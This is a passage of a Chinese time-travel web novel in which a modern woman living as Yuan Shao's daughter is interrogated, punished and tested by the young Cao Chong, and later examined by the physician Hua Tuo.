“撒谎。”曹冲肯定地下结论。
袁媛在心里偷偷翻了个白眼。
会问这种显而易见的问题,看来曹冲的智商也不如史书上记载的那么玄乎。
曹冲扯了扯腰部束带,继续问:“袁熙、袁尚逃亡辽西乌桓,我曹家将士迟早与他们决一死战,你觉得谁会赢?”
当然是曹操会赢,历史书上都写得清清楚楚了!
但袁媛胸口压着一股气,发自内心地不想让曹冲得意,含糊道:“我一介女流,不懂打仗的事,看不出谁会输谁会赢。”
“还是在撒谎。”曹冲与铜镜中的自己对望,神色淡漠,“你分明早有答案,只是心存妄念,不到黄河不死心。”
切~
要不是形势比人强,袁媛真想啐他一脸。
她看他是吃太饱了,闲得慌。
实话实话,曹冲确实挺闲的。
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他还未到束发之年,上阵打仗是没他份的,顶多在大军攻占城池后跟在父兄身后杀几个残兵败将捡捡漏。最近曹操率大军北征,把他留在邺城,除了读书以外,他确实没别的事可干。
他的书早就读完了。
众所周知,古人都是文科生,学习的主要内容是经史子集,而这些书的数量是有限的。三国年代太靠前,唐诗三百首还没被写出来,二十五史只有《史记》和《后汉书》问世,《十三经注疏》更是要再等上一千五百年才能成书,曹冲想学也学不来。
曹冲天资聪颖,过目不忘,三岁就识全所有的字,七岁就能把三国所有的书倒背如流,以至于现在活到十岁上,想找本没看过的书都难如上青天。
至于穿越文里常见的画本小说?
不好意思,活字印刷术还要八百多年才能发明出来。纸张倒是西汉就有了,东汉时期经蔡伦改造后进献汉和帝,但直到目前仍未能被广泛使用,大部分的公文和文书都用竹简记录。
平民百姓没读过书、不会写字,语文水平不足以写出画本小说,况且也买不起竹简和纸。士族子弟有文化但忙着立身行道,也看不起下里巴人的粗俗故事,凡著书必是高大上光伟正的正统经典,一辈子不见得写得完一本,很多死后还需要儿孙、弟子接力才能完成,产量极低。
资源极端匮乏的条件下,曹冲像只疯狗,逮啥学啥。
他把曹操军中将士们说的方言都学了个遍。
什么并州话青州话冀州话,他不仅会说,而且说得十分地道。最丧心病狂的是,他似乎有强迫症,无法接受世界上有他不会的语言,屡次要求袁媛解释“竟然敢在我的地盘撒野,小心姑奶奶拉你们来阴间作伴!”的意思。
其执着程度令袁媛不禁怀疑,曹冲把她带回来,其实是为了让她当语言老师的。
简直不能更神经病。
他态度严谨,像个语言学家似的咬文嚼字:“你说的那句话发音怪异,语音语调与我所知的任何一种语言都不类似,不像是方言,倒像是天外之音。”
袁媛不吭气。
大脑疯狂运转:“是我幼时的乳母教的,可能是她家乡的方言。可惜她在邺城破城的那天被你家的士兵杀了,否则一问便知。”
“那真是太遗憾了。”曹冲没什么诚意地说,若有所思,“语言的作用是沟通,我曾将这句话说给被俘虏的袁军听,没有一个人能听懂。那么,在当时那种情况下,你为什么要用一种没人能听懂的语言,来游说根本不可能理解你意思的袁军呢?”
这么聪明干嘛!
袁媛的智商烧干了,编不出理由,干巴巴地反问:“我阿父虽然曾经雄霸一方,可他既然死了,以往的风光就成了过眼云烟。我几个兄长有野心没能力,热衷内讧,难成气候。你们攻破邺城时,一路高歌猛进,双方战力对比悬殊,抵抗除了徒增伤亡以外又有什么用?我不劝袁军投降,难道还能激励他们奋勇杀敌不成?”
“咋听之下很有道理,但你还是没说实话。”
“真是实话。”因为用脑过度,袁媛的面色有些憔悴,但她努力抬头,以保证曹冲能看到她真诚的大眼睛。
曹冲被迫与她注视片刻,嫌弃地把她推开:“别再眨巴你的眼睛了,这只会显示你的心虚。”
“……”袁媛放弃努力,恨不得冲过去咬他,“那你要怎么才能相信我?”
“先拖下去打二十军棍?”曹冲眯起眼,嘴角勾出残忍的微笑,“二十军棍后如果你还活着,我就相信你说的话。”
8. 铲雪
二十军棍是绝对不能打的。
以袁媛的体质,打完二十军棍后活着的概率很低,但死了比活着更麻烦。
你能想象她在曹冲惊奇的目光中,一点一点把断开的骨头拼接起来,新生的血管与结缔组织自发填满伤口的空隙,肉芽组织主动覆盖到骨头上,瘢痕迅速淡化,在极短的时间内将皮肤光滑如初吗?
——袁媛也不能想象。
她虽然已经死了无数次,但她的记忆在死亡时是停滞的,所以她并不清楚自己的身体在死亡状态下的变化。
也可能,死后会有一道柔和的微光从天而降,无数个五彩斑斓的光点围绕着她的身体旋转嬉戏,驱赶走伤害和疼痛,令伤口自动愈合,生命重新回到她的身上。
但这种不科学的模式显然更能刺激曹冲的神经。
袁媛毫不怀疑,只要她在曹冲面前展现一次能力,字面意义的“求生不得求死不能”将真实降临她的生活,令她永无宁日。
必须杜绝这种情况发生!
曹冲不就是想学普通话吗?多大点事!
袁媛指着铜镜说:“镜子。”
曹冲挑眉,饶有兴致地跟念:“镜子。”
袁媛跑到桌边敲敲桌角:“桌子。”
“桌子。”
“架子。”
“架子。”
……
曹冲不愧是神童,没多久就记全了日常所能接触到的所有物品名称。
但这难不倒袁媛。
虽然她只会背《三字经》的头两句,不能用后世公认的最佳启蒙读物实施教学,但曹冲房里根本不缺现成的教材。
从书架上随便取下一捆竹简摊开,袁媛张口就来:“采采卷耳,不盈顷筐。嗟我怀人,置彼周行。步……呃,步……”
下一句是“陟彼崔嵬,我马虺隤。”
八个字里有四个不认识,袁媛不由傻眼。
原来《诗经》这么难的吗?
有种九年义务教育白读了的感觉。
还是学儿歌吧!
袁媛默默把《诗经》放回书架,无视曹冲眼神里的意味深长,单方面改变教材。
“太阳当空照,
花儿对我笑,
小鸟说:‘早,早,早,你为什么背上小书包?’
‘我去上学校,天天不迟到,爱学习,爱劳动,长大要为人民立功劳!’””
一首歌唱完,曹冲提问:“书包是什么?”
“呃,就是书箱,用来放书的。”袁老师答疑,“我们……我乳母家乡那边管这个叫书包。”
“劳动是什么?”
“就是干活!读书是干活,砍柴是干活,擦地也是干活。爱劳动就是不能偷懒,做人要勤快的意思。”
“那为人民立功劳呢?”
“呃——”袁媛险些咬掉舌头。
她该怎么跟一个封建社会的权贵子弟解释为人民服务?
看他杀狗儿如同切菜一般的轻松自然,就知道下层阶级在他眼里跟猪狗差不多。
曹冲指尖轻敲桌面,如同老虎逗弄爪下的猎物,既不直接打断,也不明白表态,好整以暇地欣赏袁媛的慌乱。
仿佛观看一场有趣的戏剧。
袁媛额头冒汗,她感觉自己的每一个动作、每一丝细微的表情都被放置在显微镜下,被曹冲仔细推敲观察。
“唔——”袁媛努力甩开被审视的不自在,想到穿越以前参加过的一个演讲,灵魂发问,“公子,你幸福吗?”
有节奏的桌面敲击声停止了。
屋内陷入一阵令人尴尬的沉默。
不愧是老旧落伍的古代人,连梗都不会接。
——虽然无论体力还是权势,袁媛都被曹冲毫无疑义地碾压,但此刻凭借着来自现代的信息差,袁媛心中升起隐秘的优越感。
曹冲身体前倾,瞳孔微缩,竟然非常认真地思考了一下问题。
“不怎么幸福。”他诚实地给出答案。
“你知道你为什么不幸福吗?”
“为什么?”
“因为你没有为人民立功劳——或者说,是你没有为人民服务呀!”袁媛做了一个极具激情的手势,整个人都支棱了起来。
那场演讲的成绩与奖学金直接挂钩,在金钱力量的驱使下,袁媛不仅花大力气准备讲稿,还花了很多时间背诵,直到现在都记忆犹新。
没想到,现在竟然还有一稿两用的机会,简直如同天上掉馅饼一般的惊喜。
赚大发了!
袁媛气沉丹田,声音清晰有力:“我们每个人都在追求幸福,有人追名,有人逐利,还有人追求至高无上的权利和地位。但金钱与权势通常只能带来短暂的满足与快感,并不必然通往幸福。‘欲戴皇冠,必承其重’,即使贵为君主帝王,也会因激烈的政治倾轧、复杂的权力斗争、极端的寂寞不安终日郁郁寡欢。帝王之道,孤独为伴,惶恐随行。前有楚怀王抱怨‘寡人不乐’,后有汉哀帝感叹‘吾虽为天子,却无乐可言。’那么,什么是真正的幸福呢?”
停顿三秒。
袁媛给听众留出了足够的思考空间。
可惜听众听得入迷,根本没意识到需要提供正面反馈。
——未开化的古人当然是不懂捧哏的。
袁媛能怎么办?
当然只能原谅他。
轻咳两声,袁媛主动揭晓谜底:“真正的幸福并不来自外在的物质条件,而是源于内心的成就与满足。财富的丰足不是为了穷奢极欲,而是为了乐善好施;地位的尊贵不是为了欺压弱小,而是为了率众前行。一个人处于高位,不是为了享受,而是为了承担更重的责任和使命。”
曹冲面无表情。
也不能说他无动于衷,但他伸出手掌懒洋洋地撑住下巴,目光虚落在袁媛身后的书架上,思绪仿佛已经飘去了九霄云外。
光明正大的开小差!
袁媛真想一巴掌甩过去,可惜她敢怒不敢言。
吸口气平复心情,袁媛干巴巴把讲稿背完:“为人民服务不是一句轻飘飘的口号,它需要我们付出不少时间和精力,甚至需要让渡部分权力和利益。但正是因为这些看似‘吃亏’的付出和牺牲,才能够让我们感受到人生的价值,寻找到快乐的真谛。如果这世上真有一艘驶往幸福彼岸的航船,船头的旗帜上一定高高飘扬着——‘为天地立心,为生民立命,为往圣继绝学,为万世开太平’。”
Ending。
没有鲜花,更没有掌声。
曹冲维持着托腮的动作,仿佛一座冥顽不化的铁铸雕像,任由噪音拂耳,了无痕迹。
过了许久,雕像才重新找回离家出走的思绪。
曹冲的眼神回复聚焦,如同激光枪般照射在袁媛身上,灼热得似乎能把她烧出洞来:“照这么说,你每天为我服务,一定非常幸福了。”
“这……”袁媛被突如其来的神转折定住心神。
“我还可以让你更幸福一些。”曹冲下唇微张,露出狡黠且充满了恶意的笑意,“你去把屋外的积雪打扫干净,不完成不准休息——如果明日酉时还没做完,就打你二——十——大——板!”
X!
你是魔鬼吗?
因为太过震惊,袁媛呆立原地,不能动弹。
她简直不敢相信世界上有曹冲这么狗的人。
一个人扫完屋外的积雪!
他知道那是多少个人的工作量吗?
上周下完雪后,张贵带着八个健壮的仆妇和小厮忙碌了整整一个上午,才完成任务。
而曹冲竟然指望她一个人干完!
她还是个孩子,周扒皮都没那么狠。
虽然任务时限延长到了一天一夜,但她只有一个人,而且她必须没日没夜的干!
昨天下的雪甚至比上周的还要厚。
袁媛的表情如遭雷劈的表情肉眼可见地取悦了曹冲,他离开的脚步非常轻快,丝毫没有改变主意的想法,留下袁媛一人在风中凌乱。
想死。
可惜死不了。
独自站在门外,袁媛面对着屋前堪称辽阔的雪地,认命地开始挥动雪铲。
三国金属开采和冶炼技术落后,铜、铁珍贵,所以雪铲都是木质的,每次与冰雪接触都会发出刺耳的“吱嘎”声,效果却不尽如人意。连续的低温天气把雪层冻成了冰,即使精心打磨过锋利边缘的木铲也很难划破坚硬的冰层,一次次滑过表面,只留下浅浅的印迹。
袁媛尝试用力下压,甚至把全身的体重都加注到木铲上,但光滑的冰面总是打滑,轻而易举就泄去了百分之九十的力道。
如果,如果能给她一把铁铲……
铁铲的手感应该会比木铲更加
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冰冷刺骨。
天色渐黑,哈气成冰。
袁媛的手被冻得麻木僵硬,手指红肿,关节几乎无法弯曲,差点握不住木铲。
“天可怜见。”环夫人摸着六个月的孕肚,怜惜地看了眼远处与冰雪融为一体的雪人,责怪儿子的冷硬心肠,“若是袁公仍在,她该是你的妻呢。现下虽然婚约不作数了,但好歹将来也是你的房里人,冻坏了可怎么是好?还是快快放她进来吧。”
“婚约不过是阿父年轻时与袁绍的戏言。阿母也知时移世易,如今已经不作数,就不要再提及了。”曹冲不以为然,“儿子也不需要什么房里人。”
自从把袁媛带回家,他已经被各路亲朋好友打趣了无数次。
就连曹操都忍不住追忆起早年与袁绍一起抢新娘的旧事。
当年,曹操与袁绍曾是汉灵帝任命的“西园八校尉”之二。袁绍任中军校尉虎贲中郎将,曹操任典军校尉议郎,俩人同朝为官,脾性相投,年龄相近,好得恨不得穿一条裤子。
有一天,两人无所事事,正感觉无聊,见到街边有人娶妻,就相约劫持了新娘寻乐,差点被办喜事的人家擒拿。袁绍跑得急,不小心掉进了荆棘丛里,一时间动弹不能。眼看身后追兵将至,曹操急中生智,大喊“偷儿在此”,吓得袁绍激发了潜能,一跃而出,两人才没被抓个现行。
昔日好友结成死敌,袁绍已落土,无人能知晓他心中作何感想,但曹操显然是不无遗憾的。因此当他得知曹冲出趟门就白捡了一个“未过门的媳妇”的时候,曹操一方面感叹小儿女缘分不浅,一方面也乐见昔日好友的女儿成为曹家人。
当然,考虑到曹冲是他最看重的儿子之一,且袁家势力已经土崩瓦解,袁媛当曹冲的正室是痴心妄想,但当个妾或者红颜知己也不算辱没了她。
可惜曹冲情窦未开。
他不仅对女孩子没兴趣,而且一点也不懂得怜香惜玉。
同样是远观袁媛铲雪,环夫人看到了心疼,曹冲却只觉有趣。
“谁都不准帮她。”曹冲的眼睛里闪烁着亮晶晶的光芒,仿佛一个拆盲盒的孩子,兴致勃勃地等待盒子里的惊喜。
他恶劣地对着张贵强调:“要是有人敢放她进屋休息,也跟她一样打二十大板。”
曹冲多虑了。
袁媛初来乍到,跟曹冲府上的所有人都只有点头的交情,没人会平白无故地向她释放善意。
夜幕降临,天越发冷了。
袁媛的双臂酸痛得根本抬不起来。
她跪在地上,望了望天边高冷的玄月,突然捂住被冻得通红的鼻子。
眼泪不受控地夺眶而出。
很奇怪,她被许褚杀掉时没哭,在死人堆里生生死死死死生生没哭,被坏心老奶奶打包卖人也没哭。
但是现在,在皑皑白雪中,在一副静谧唯美的夜月雪景图里,她毫无预兆地破防了。
“呜呜呜。”
成年人的崩溃只在一线间。
初始时是克制的啜泣,但压在心头的难过与沉重,仿佛是一座无法逾越的高山,令她的呼吸都急促了起来。
情绪决堤。
泪水倾盆,酣畅淋漓的哭泣声在空旷的天与地间回荡,好似要将天大的委屈与辛苦全都宣泄出来。
袁媛哭得上气不接下气。
“这——”张贵倒不是心疼袁媛,只是眼见着七公子被没完没了的哭声吵得睡不着,忍不住想要劝一劝。
“闭嘴!”曹冲翻了个身,用斩钉截铁的态度把张贵的劝说堵回了嗓子里。
何苦来哉!
张贵瞅了眼雪地里缩成一团的小小身影,明明连脸都看不清,却莫名看出了楚楚动人的感觉。
细想想,袁家虽然破败了,但袁媛到底是个贵女。这要是在一年前,她恐怕连重活都没干过,如今却被迫趴在雪地里铲雪,怎能不委屈?
他家七公子生来早慧,性情坚韧异于常人。听闻府中其他公子被老爷安排初次杀人时,哪怕强忍住没有当场软了腿,夜里也少不了要做几场噩梦吃吃苦头。只有七公子,头一次杀人就能准确无误地把剑捅进死囚的心脏,连眼皮都不带眨一下的,回家后也是毫无影响地大被一盖,酣睡到天明。
但是今天,七公子罕见地失眠了。
屋外没完没了的哭泣像一把生锈的锯子,来回拉扯他的神经。
9. 女君
晨光熹微。
燃烧着木柴的火盆发出轻微的爆裂声,穿透了朦胧的意识。
曹冲从浅眠中睁眼。
“什么时辰了?”昨夜不太安宁的梦境令他的嗓音有些暗哑。
温和的火光映在床幔上摇曳,价值千金的熊皮被褥隔绝了严寒。但只要从被子里伸出手臂,就能感受到邺城冬季无孔不入的冷意。
烧火的室内尚且如此,可想而知室外会是怎样的天寒地冻。
手臂上真实的冷感与脑海中挥之不去的哭喊驱散了犹如宿醉般的疲倦。
门轴转动,有人小心翼翼地步入房内。
“将近卯时,尚未听到第一声鸡鸣。”张贵隔着床幔回话。
曹冲坐起身。
周围太安静了。整个世界都还在沉睡中,连声鸟叫都没有。
昨夜歇斯底里的大哭如同早晨虚无缥缈的雾气一般不真实。
“袁媛呢,怎么不继续哭了?”曹冲的嘴角勾起凉薄的讥诮,“难不成天太冷,她已经冻死了?”
“不——”张贵凝神屏息,斜眼偷瞄映在床幔上的身影,试图从中窥测出主人的心情。
每年冬天,邺城的郊外都会冻死许多衣不遮体的流民,袁媛与他们唯一的区别只在于多穿着一件能蔽体遮身的单衣。如果身体不够康健,是真的可能被活活冻死。
但这似乎并不是曹冲想要的结果。
命令毋庸置疑是曹冲下的,但张贵观察了半天,总觉得曹冲并不是真心和小姑娘较真。
这么漂亮的小姑娘,哪怕年纪还小,也该跟娇花似的宠着护着,谁又能真舍得让她难过呢?
至少昨天晚上她鬼哭狼嚎的时候,张贵心里就可不得劲了。
但要说曹冲只是玩心重,想逗小姑娘玩,又不像。
毕竟昨晚哪怕环夫人开口求情,曹冲也没松口。
他宁愿被哭声吵得辗转反侧,也不肯去哄一哄曾经的未婚妻,真就忍心把她孤零零扔在冰天雪地里,心肠简直比铁石还硬。
比起曹操其他几个儿子,曹冲并不算勤勉。曹丕曹植习惯于迎着日出练剑,曹冲却坚持每天睡到辰时才起,偶尔还会更晚些。今天破天荒,未到卯时就开始穿衣洗漱,眼底的青黑浓重得张贵都没眼细看。
他心里显然是记挂着袁媛的。但到底是希望她好,还是希望她不好,就比较难揣摩了。
张贵服侍曹冲穿好外衣,手指细致地抚平衣角每一处褶皱,最终决定在天平的“不好”一端加上半个砝码。
毕竟,他的主子全身上下都散发出犹如实质化的低气压。
张贵的态度越发恭顺,斟酌着吐露出不受主子欢迎的“坏消息”。
“袁娘子子时去厨房和水房讨要了一些草木燃烧后余下的灰,撒在雪地上,又用热水浇灌,大概是想借此来化雪。”
“用草木灰化雪?”曹冲眉头紧锁,神色风云变幻。
“小人昨日问过袁娘子,她说这法子是乳母教她的。”张贵细心留意曹冲的神色,暗自庆幸昨天留了个心眼,哪怕心里十万个不情愿离开温暖的被窝,还是起来瞄了眼袁媛的动向。
否则今早汇报时一问三不知,曹冲怕是会把一肚子起床气全撒在他头上。
“可惜袁娘子乳母给的法子并不管用,屋外的积雪仍然被冻得结结实实的。”张贵把头低得更低,尽量让语调听起来更平缓:“袁娘子好似不太能接受这个结果,哭晕了过去。小人怕她躺在雪地里太久,把人冻没了,就,就自作主张,把她送回了房间。她起了热度,烧得不轻。”
曹冲冷嗤:“她那乳母倒是个百年难得一遇的奇人,融雪是乳母教的,除了她以外没人会说的方言也是乳母教的。”
如张贵所料,曹冲并没有责怪他先斩后奏。走到屋外,墙角处还残留着一些昨晚剩下的草木灰。
曹冲将草木灰置于拇指和食指间揉搓,细腻柔软的触感非常微妙,如同袁媛这个人一样难以形容:“她恐怕忘记了,以前我是见过她乳母的。”
在袁绍和曹操还没反目成仇之前,袁曹两家算得上通家之好。曹冲与袁媛的婚约虽然无媒无聘,堪比戏言,但曹冲还是被曹操带去见过几次“未婚妻”,顺带也与袁媛的乳母打过照面。
那是个长相十分平庸的妇女,操着一口带有浓重冀州口音的官话,唯唯诺诺,沉默寡言。相信是她教会的袁媛,不如相信母猪会爬树。
骗子。
昨晚又死过一次的袁媛不知道曹冲已经在心里给她贴上了标签,无意识地咳嗽了几声,脸颊泛红,鼻腔阻塞,不由自主地把身上的被子裹得更紧了些。
她生病了。
昨天撒草木灰的时候,袁媛就感觉呼吸不畅,很快就发展为头重脚轻。在医疗条件落后的三国,发烧极其危险,一不留神就会要了人的小命。以袁媛本身的体质,如果没有极限修复能力,早就一命呜呼了。
幸好她有异能。
袁媛能感觉到身体里的每个细胞都在努力进行修复。虽然进程缓慢,但即使是很细微的变化也很清晰。如同正在萌发的种子,在每一次呼吸间吸收着生命的养分,悄然生长,直到把所有的病痛与不适都呼出体外。
耳边传来渐行渐近的脚步声。
一只柔软的手贴住袁媛的额头,冰凉的触感令袁媛发昏的脑袋清醒了一些。
袁媛挣扎着睁眼,看到一个十七八岁的姑娘跪在床边,满脸忧愁地看着她。
看穿着,应该是曹府的婢女。她身上这件粗布襦裙,是半个月前府里发的,袁媛的衣柜里也放着条一模一样的裙子。
这是谁?
怎么她的脸上挂着触目惊心的忧虑,好像马上就要死了爹娘一般。
袁媛怀疑自己被烧迷糊了。
作为曹操最宠爱的儿子之一,曹冲身边的婢女岗位炙手可热。虽然曹冲治下极严,婢女哪怕有心较劲也不敢明目张胆地倾轧,但袁媛来了没多久,就发现她们自有游戏规则。以她被现代简单直白的人际关系养废了的脑子,有时甚至听不懂婢女们隐晦的潜台词。
不明觉厉。
袁
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媛初来乍到,因为出身的缘故天然的与其他婢女格格不入,再加上她刻意采取的“惹不起躲得起”策略,与侍女同事间的关系一直停留在表面,疏离的职业性假笑隔绝了所有私交。
这是第一个跨进她卧房的婢女。
可惜不认识。
努力侧过身,袁媛听到婢女关切的问询:“女君,您还好吗?是不是很难受?”
生病了当然难受——但这不是重点。
重点是这姑娘喊她什么?女君,还用敬称“您”?
如果不是发烧发得全身无力,袁媛恐怕会被晓露的一句话惊得直接从床上蹦起来。
先秦时期,女君特指诸侯的女儿,至三国,虽然有时也用于对贵族女子的尊称,但总体而言适用范围还是非常狭窄。
袁绍已死,指望曹操阵营继续捧着他的女儿是不现实的,因此无论婢女杂役都对袁媛直呼其名。
但现在,她竟然唤她为“女君”。
她是袁绍旧部?
袁媛混沌的脑子竭尽全力飞转。
这姑娘以前认识她吗?还是仅仅只是曾经在袁绍手下做事,与真正的袁媛根本没见过面?
碍于技术限制,袁媛穿越时没有继承原主的记忆,以至于对眼下的处境俩眼一抹黑,完全靠自己摸索。
“我头疼得眼睛都花了。”思索片刻,袁媛试探地说,“我看你像是有几个重影儿似的,你是——?”
“女君,奴婢是翠儿啊!”姑娘哭着抹泪,“奴婢以前在您房里服侍了六年,一直任劳任怨,没有功劳也有苦劳。虽然曹军攻入邺城时,奴婢慌了神,稀里糊涂地跟着其他人躲了起来,但局势一定,奴婢就巴不得立刻飞到您的身边照顾您。可是,曹府规矩森严,奴婢在外院扫洒,等闲不得进内院。”
“女君,您心里有气不要紧,要打要骂奴婢都绝对不吭一声,但您千万不能不认翠儿!奴婢听闻女君病重,心如刀绞,真恨不得剖出心肝来,好让女君看到翠儿的忠心!”
——大可不必。
袁媛听明白了,这是一棵在危急关头背弃主人,待事态平稳后又回来跪舔的墙头草。
可惜,州牧府虽然还是原来的那个州牧府,袁媛的外表看起来也与一年前没什么两样,但唯一有资格接受翠儿忏悔的对象,却已经不在了。
鹊占鸠巢的穿越者没有资格替原主原谅。
再说,为什么要原谅?
难不成袁媛要原谅她并跟她成为好姐妹,给她发现女君的内芯已经换人了的机会吗?
别做梦了。
袁媛全身滚烫,仿佛有一团火在体内熊熊燃烧。怒气和热浪交织在一起,云涌翻滚。
“能不能请教你一个问题?”袁媛用力推开翠儿的手,好奇地问,“是什么给了你错觉,认为我是个会既往不咎的冤大头?”
“啊?”翠儿假惺惺的哭泣被冻住,瞳孔中写满意外和震惊。
“滚出去。”袁媛拍拍她的巴掌,真诚给出忠告,“以后离我远点,不然,我怕我会忍不住扇你!”
10. 华佗
“她相信了你是翠儿?”
曹冲的脸上没有丝毫多余的表情,但深邃的目光却隐隐露出锐利锋芒。
“是。”翠儿跪在地上,视线低低落在曹冲的膝盖上,不敢抬头,“奴婢按照七公子的吩咐,假称是服侍了袁娘子六年的贴身婢女,袁娘子并没有提出疑义。”
但这个婢女完全是曹冲凭空捏造出来的。
曹冲嘴角勾起兴致盎然的微笑。
据曹冲所知,袁媛身边根本就没有出现过叫翠儿的人。这个临时找来客串的“翠儿”也是曹操手下伤残老兵家的女儿,来历十分清楚,跟袁家毫无交集,与袁媛更是从未打过照面。
但袁媛很轻易地就接受了翠儿是她贴身婢女的说法。
如同她很轻易地编造出乳母教会她方言。
明明是漏洞百出的谎话,却能得到袁媛的认可。
——前者暴露了她的天真轻信,后者说明了她的疏漏草率。
曹冲合理推测,袁媛恐怕连他们以前见过面都不知道。
把方言的来源推到乳母身上,一是因为袁媛的生母是刘夫人娘家的家生子,刘夫人献上儿媳甄宓后便火速改嫁,至今仍活得好好的,所以袁媛生母的过往经历根本经不起细查。二是因为袁媛出生时,袁家并没有恰好处于哺乳期的家生子,只能在府外寻找合适的仆妇。她的乳母是刘夫人从人市上随意买回来的,如今人已入土,死无对证,正好适合袁媛发挥。
她完全没料到曹冲认识她的乳母。
如今仔细回想,邺城被破那天久别重逢,袁媛表现得也如同素昧平生的陌生人一般,根本就没认出曹冲。
但她怎么会没认出来呢?
如果她是真的袁媛,她怎么可能认不出来?
曹冲虽然不太在意外貌长相,但也知道自己英俊远超常人。时常有女子见他一面后心心念念。袁媛与他早年间时有往来,无论如何,都不该对他毫无印象。
某种可能呼之欲出,但因为太过灵异骇俗,令曹冲不得不慎重对待。
“有请华佗先生。”
曹冲博览群书,记得在华佗所著《青囊书》书稿中,曾提到有一种失忆症,患者往往会忘记前程往事,有的甚至会连自己姓甚名谁都一同遗忘。
单看书中描述的症状,倒是与袁媛的状况有些相似。
但华佗行医五十载,接诊过的失忆症屈指可数,这并不是一种常见的病症。
“失忆症多发于年过花甲的老者,患者通常记忆衰退,遗忘近事的现象尤为突出。严重的病患后期会发展为失语、失智及大小便失禁,生活完全不能自理。”
华佗医术精湛,因为能显著缓解曹操的“头风”症被曹操强留在身边,不得自由。他喜好钻研各种疑难杂症,日常却只能为曹操的姬妾儿女诊治头疼脑热,颇为大材小用。难得遇上新奇病症,显而易见的见猎心喜。
“何人患上了失忆症,不知可否让老夫诊脉?”
“是一名女子,恐怕不那么方便。”男女授受不亲。虽然华佗年逾六旬,很多时候已不需避讳男女大防,但曹冲仍然吩咐婢女将丝线的一端绑在袁媛的手腕上,另一端拉出房外,交由华佗“悬丝诊脉”。
躺在床上的袁媛连华佗的长相都没能看到。
那可是活的华佗!
袁媛内心土拨鼠尖叫。
她真是出息了,普通的感冒发烧竟然能请动中国历史上的神医圣手,以后回了现代,她能把牛皮吹破天!
要不是床边杵着晓露、晨曦,门口还有曹冲亲兵把持,袁媛真想冲出去拜一拜这位医学界的老祖宗。
房外,老祖宗放下丝线,开口欲言。
“慢着!”曹冲截住话头,将华佗引入旁间。
华佗眼眸中闪过几缕不解,但他行医数十载,见过许多宅门阴司,知道给达官显贵们问诊,最重要的就是不该问的别问。
因此很快就敛去了疑惑,就病论病道:“从这位女子的脉象上看,她神思清明,并未患有失忆症,只是有些风邪入体,故而生出了些头疼身热的症候,不甚要紧。老夫为其开三帖发汗药,几日便可痊愈。”
见曹冲沉思,华佗猜测:“高烧可能会引起神志不清,特别在睡眠状态下,不少患者都会浑噩、说胡话,与失忆症有几分相似,恐怕是因此引起了七公子的误会。但老夫可以打包票,这位女子只是偶感风寒,小病而已,七公子不必过于担心。”
曹冲皱眉:“不知先生是否读过《战国策》?”
“并无。”华佗醉心医术,对史书不感兴趣。
曹冲解释:“《战国策》中,记载了一个名叫赵简子的男人。他的生平履历无甚特殊,死后三年却突然归来,灵魂附身在一个妾的身上,把儿子赵襄子吓得不轻。”
“先生怎么看这个故事?”
“借尸还魂吗?”华佗捋捋胡子,恍然道,“老夫早些年在乡间做游医时,曾见过一老妪施法,引鬼附身活人,以解其父母相思之苦。依老夫所见,此不过是骗术。被鬼附身的活人虽然精于伪装,言谈举止扮得与死去的男子一模一样,但老夫观其气色,闻其嗓音,便知其中蹊跷,可怜那对老夫妻将一腔慈爱喂了骗徒。”
曹冲听出华佗的立场:“先生不信世间有人能借尸还魂吗?”
“不信。”联系曹冲对失忆症的怀疑,华佗猜出曹冲的疑虑,误以为是内宅女子争夺郎君爱慕的手段,不屑道,“人的身体由血肉和骨骼组成,生老病死是自然之道,一旦生命终结,血会凝固,骨会脆弱,肉会腐化。死亡即终结。没有人能让已经凝固的血液重新流淌,也没有人能够让已经逝去的生命,在另外一个身体里重生。”
作为外科鼻祖,华佗连尸体都敢解剖,自然不信鬼魂之说。如果他信仰谶纬学说,就不会成为医生,而该去当个炼长生丹、化邪驱鬼的方士了。
“七公子可知王英?”
曹冲点头:“是我将他从牛棚里绑回来,交给仲德先生的。”
“在来七公子这里之前,老夫刚应仲德先生之邀,去他府中为自称是姜子牙投胎转世的王英诊脉。”
曹冲一愣:“他如何了?”
“疯病。”华佗极有把握地下诊断,“他脉象紊乱,穴位阻塞,气血不通,不是装疯,确为真疯。老夫行医半生,见的病人大部分是真病,小部分是装病。一个疯子尚且惦记功名,妄图用姜子牙转世游说仲德先生向主公举荐他;七公子房中的女子为求宠爱,谎称娥皇、女英或者妇好还魂,也就不足为奇了。”
“多谢先生赐教。”饶是曹冲心理素质过硬,此时也有片刻的无语。
他尚未过舞勺之年,华佗到底脑补了什么奇奇怪怪的东西。
无奈华佗医者父母心,告诫道:“七公子颖悟绝伦,仪表堂堂,自然不缺姑娘追逐。但公子年纪尚幼,需知固本培元的道理。绝不可过早尝试男女之道,损伤肾元根基,否则日后悔之晚矣。”
曹冲只觉好大一个屎盆子,被袁媛借着华佗的手扣在了他的脑袋上。
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幸好华佗业务能力扎实,即使悬丝诊脉都能诊断出袁媛尚未“尝试”过男女之道,否则曹冲毫不怀疑,华佗一离开他的府邸,转头环夫人就该知道儿子已失童身。
从这个角度看,神医也是挺可怕的。
曹冲第一次体会到父亲数次想杀华佗的心情。
除却华佗孜孜不倦地劝说曹操做开颅这种听起来就死亡率极高的手术,以至于曹操屡次怀疑华佗的出发点并不是为了医治他的头风,而是为了杀死他以外,面对华佗时犹如被扒光了衣服的裸奔感也让曹操极端不适。
再加上华佗恃才傲物,对曹操并不十分恭敬,曹冲怀疑,迟早有一天父亲的屠刀会真的落到华佗的脑袋上。
而且,华佗开的药也很难吃。
——有这么难吃吗?
曹冲看着袁媛小心翼翼地端着药碗,把碗中深褐色的液体晃了又晃,就着腾腾升起的热气吹了又吹,表情既犹豫又恐惧。
她磨蹭了半天始终无法鼓起勇气,让舌头触碰到药汁。
“你到底喝不喝?”良药苦口,曹冲从三岁起生病就能自觉端起碗一口闷,无法理解世界上竟然有喝药这么墨迹的人,“要不我来帮你?”
“不不不,我自己来。”袁媛一惊,连忙摇头。
那天她没扫完雪就晕了过去,严格来说,并没有完成曹冲布置的任务。虽然事后曹冲睁一只眼闭一只眼,没再提起过这茬,但她到底有些心虚,不敢作妖惹他厌烦。
袁媛深吸一口气,终于结束准备工作,无比认真且慎重地把嘴凑到碗边,啜饮一小口。
曹冲毫不怀疑,碗里的水位都观察不出来下降。
但袁媛的鼻子皱成一团,试图用屏息隔绝药味的入侵。
她的两颊因为用力而鼓起,眼角被挤出细纹,喉头轻轻蠕动,像一只警惕的松鼠似的专注地捧住碗,一点一滴咽下苦涩。
难道这次华佗开的药特别的苦?
曹冲生出怀疑,把药方拿来研究:麻黄、细辛、桂枝、甘草……
